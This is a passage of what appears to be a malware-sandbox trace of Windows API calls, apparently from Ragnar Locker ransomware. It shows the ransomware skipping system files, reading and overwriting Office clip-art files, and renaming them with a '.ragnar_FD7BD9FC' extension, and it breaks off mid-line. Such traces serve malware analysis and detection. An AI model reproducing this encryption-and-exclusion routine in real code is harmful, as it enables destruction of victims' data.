lstrcmpiW (lpString1="J0285444.WMF", lpString2="autorun.inf") returned 1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="boot.ini") returned 1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="bootfont.bin") returned 1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="bootsect.bak") returned 1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="bootmgr") returned 1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="bootmgr.efi") returned 1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="bootmgfw.efi") returned 1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="desktop.ini") returned 1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="iconcache.db") returned 1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="ntldr") returned -1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="ntuser.dat") returned -1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="ntuser.dat.log") returned -1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="ntuser.ini") returned -1 [0095.828] lstrcmpiW (lpString1="J0285444.WMF", lpString2="thumbs.db") returned -1 [0095.828] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.828] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.828] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.828] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.828] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.828] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.828] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf")) returned 0x20 [0095.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.830] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9288) returned 1 [0095.830] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x243f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.830] GetProcessHeap () returned 0x580000 [0095.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.830] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.831] VirtualAlloc (lpAddress=0x0, dwSize=0x2448, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.831] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.831] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.831] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2448, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2448, lpOverlapped=0x0) returned 1 [0095.832] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.832] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2448, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.832] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2448, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2448, lpOverlapped=0x0) returned 1 [0095.832] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2448, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.832] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.832] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2448, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.832] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.832] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.833] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.833] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.833] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.833] GetProcessHeap () returned 0x580000 [0095.833] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.833] CloseHandle (hObject=0x104) returned 1 [0095.833] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" [0095.833] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.ragnar_FD7BD9FC" [0095.833] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285444.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285444.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.834] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0095.834] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.834] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0285698.WMF" | out: lpString1="J0285698.WMF") returned="J0285698.WMF" [0095.834] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF") returned=".WMF" [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="autorun.inf") returned 1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="boot.ini") returned 1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="bootfont.bin") returned 1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="bootsect.bak") returned 1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="bootmgr") returned 1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="bootmgr.efi") returned 1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="bootmgfw.efi") returned 1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="desktop.ini") returned 1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="iconcache.db") returned 1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="ntldr") returned -1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="ntuser.dat") returned -1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="ntuser.dat.log") returned -1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="ntuser.ini") returned -1 [0095.834] lstrcmpiW (lpString1="J0285698.WMF", lpString2="thumbs.db") returned -1 [0095.834] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.834] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.834] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.834] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.834] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.834] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.834] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf")) returned 0x20 [0095.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.835] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10770) returned 1 [0095.835] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2a09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.835] GetProcessHeap () returned 0x580000 [0095.835] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.835] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.836] VirtualAlloc (lpAddress=0x0, dwSize=0x2a12, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.836] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.837] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.837] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a12, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a12, lpOverlapped=0x0) returned 1 [0095.837] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.837] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a12, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.837] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a12, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a12, lpOverlapped=0x0) returned 1 [0095.838] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a12, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.838] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.838] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2a12, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.838] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.838] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.838] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.838] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.838] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.838] GetProcessHeap () returned 0x580000 [0095.838] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.838] CloseHandle (hObject=0x104) returned 1 [0095.838] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" [0095.838] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.ragnar_FD7BD9FC" [0095.838] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285698.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285698.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.852] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0095.852] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.852] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0285750.WMF" | out: lpString1="J0285750.WMF") returned="J0285750.WMF" [0095.852] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF") returned=".WMF" [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="autorun.inf") returned 1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="boot.ini") returned 1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="bootfont.bin") returned 1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="bootsect.bak") returned 1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="bootmgr") returned 1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="bootmgr.efi") returned 1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="bootmgfw.efi") returned 1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="desktop.ini") returned 1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="iconcache.db") returned 1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="ntldr") returned -1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="ntuser.dat") returned -1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="ntuser.dat.log") returned -1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="ntuser.ini") returned -1 [0095.852] lstrcmpiW (lpString1="J0285750.WMF", lpString2="thumbs.db") returned -1 [0095.852] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.852] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.852] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.852] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.852] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.852] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.852] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf")) returned 0x20 [0095.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.853] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=38284) returned 1 [0095.853] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x9583, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.853] GetProcessHeap () returned 0x580000 [0095.853] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.853] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.855] VirtualAlloc (lpAddress=0x0, dwSize=0x958c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.855] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.855] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.855] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x958c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x958c, lpOverlapped=0x0) returned 1 [0095.857] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.857] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x958c, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.857] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x958c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x958c, lpOverlapped=0x0) returned 1 [0095.857] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x958c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.857] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.857] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x958c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.857] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.858] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.858] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.858] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.858] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.858] GetProcessHeap () returned 0x580000 [0095.858] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.858] CloseHandle (hObject=0x104) returned 1 [0095.858] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" [0095.858] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.ragnar_FD7BD9FC" [0095.858] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285750.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0285750.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.859] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0095.859] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.859] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0285926.WMF" | out: lpString1="J0285926.WMF") returned="J0285926.WMF" [0095.859] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0285926.WMF") returned=".WMF" [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="autorun.inf") returned 1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="boot.ini") returned 1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="bootfont.bin") returned 1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="bootsect.bak") returned 1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="bootmgr") returned 1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="bootmgr.efi") returned 1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="bootmgfw.efi") returned 1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="desktop.ini") returned 1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="iconcache.db") returned 1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="ntldr") returned -1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="ntuser.dat") returned -1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="ntuser.dat.log") returned -1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", lpString2="ntuser.ini") returned -1 [0095.859] lstrcmpiW (lpString1="J0285926.WMF", 